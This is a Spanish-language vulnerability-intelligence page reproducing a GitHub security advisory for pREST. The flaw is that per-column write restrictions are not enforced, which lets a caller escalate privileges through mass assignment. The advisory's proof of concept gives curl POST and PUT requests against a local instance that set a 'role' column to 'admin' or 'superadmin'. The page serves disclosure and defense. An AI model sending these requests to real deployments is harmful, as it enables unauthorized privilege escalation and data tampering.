llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/prest/prest

GHSA-H25Q-9RMJ-646H

Write-field permissions are never enforced on INSERT/UPDATE (mass assignment → privilege escalation)

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
7.1
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición21 dDesde la divulgación, 30 oct 2026, 10:40 a. m.
Detección20 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. No hay versión corregida: aplique mitigaciones.
Revisa si tu versión cae en el rango. Te espero.Esto huele a PoC esperando su momento.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
30 oct 26
19 nov 26
21 nov 26
30 oct 26
5 nov 26
10 nov 26
16 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-H25Q-9RMJ-646H divulgada · CVSS 7.1 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

In `access.restrict = true` mode, pREST enforces the per-table column allowlist
(`[[access.tables]] fields = [...]`) only for reads. INSERT/UPDATE never consult it, so a
caller whose config restricts which columns they may write can set any column —
including privilege columns the operator deliberately excluded (e.g. `role`, `is_admin`).
This crosses a user→admin boundary via mass assignment.

Details

`FieldsPermissions` (the column-allowlist gate) is only ever called with `op="read"`:

controllers/crud.go:67    h.perms.FieldsPermissions(r, database, schema, table, "read", userName)   // Select
controllers/mcp.go:807    ... "read", userName                                                       // MCP read

The write handlers build SQL straight from the request body and never call it:

controllers/crud.go:211   names, placeholders, values, err := h.builder.ParseInsertRequest(r)   // every body key accepted
                          (Update path) h.builder.SetByRequest(r, ...)                          // every body key accepted

`ParseInsertRequest` (adapters/postgres/postgres.go:847) validates each key only as a SQL
identifier (`ident.IsValid`), never against the configured `fields`.

The capability exists and is tested in isolation, which shows the restriction is intended:
`fieldsByPermission` is op-aware and returns the restricted `Fields` list for the write op
(adapters/postgres/postgres.go:1862), and a unit test exercises exactly this —
`postgres_test.go:1522`: `FieldsPermissions(req, "", "public", "no_user_write_table", "write", "foo_read")`
with `no_user_write_table` configured `permissions=["write"], fields=["name"]`. The control
is built, configured and tested, but never wired into the write request path. The shipped
sample config (`samples/prest.sample.toml`) also documents `[access]` as restricting
"which schemas/tables/columns are exposed" with `fields` alongside `permissions=["read","write","delete"]`.

Proof of concept

Local, loopback-only (`127.0.0.1:3000`), disposable data. Config:

[access]
restrict = true
[[access.tables]]
name = "profiles"
permissions = ["read", "write"]
fields = ["name"]          # intent: this caller may read/write only the "name" column

Schema: `profiles(id serial primary key, name text, role text not null default 'user')`.

# control — read IS field-restricted to name:
$ curl -s http://127.0.0.1:3000/prest/public/profiles
[{"name":"alice"},{"name":"bob"}]

# attack — writes ignore the field restriction:
$ curl -s -X POST http://127.0.0.1:3000/prest/public/profiles -d '{"name":"x","role":"admin"}'
{"id":3,"name":"x","role":"admin"}

$ curl -s -X PUT "http://127.0.0.1:3000/prest/public/profiles?name=\$eq.alice" -d '{"role":"superadmin"}'
{"rows_affected":1}

# out-of-band DB check — privilege column written despite fields=["name"]:
$ docker exec cvd_pg psql -U postgres -d prest -c "SELECT id,name,role FROM profiles ORDER BY id;"
 id | name  |    role
----+-------+------------
  1 | alice | superadmin
  3 | x     | admin

Reproducible from a clean state across repeated runs.

Impact

CWE-915 (Mass Assignment) / CWE-863 (Incorrect Authorization). Affects any deployment using
`access.restrict=true` with a `fields` allowlist to limit writable columns. A caller holding
only a field-restricted write grant (or, when `auth.enabled=false`, any caller with a
table-level write grant) can set security-relevant columns the operator intended to protect —
self-promotion to admin, tenant takeover, or tampering with any non-allowlisted column.
Reads of the same table remain correctly field-filtered, demonstrating the intent and the
asymmetry. Boundary crossed: user → admin.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:L
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
github.com/prest/prest≤ 2.5.2
v1.5.5
2.5.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/prest/prest
Sin parche — — v1.5.5 afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/prest/prest/security/advisories/GHSA-h25q-9rmj-646h

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.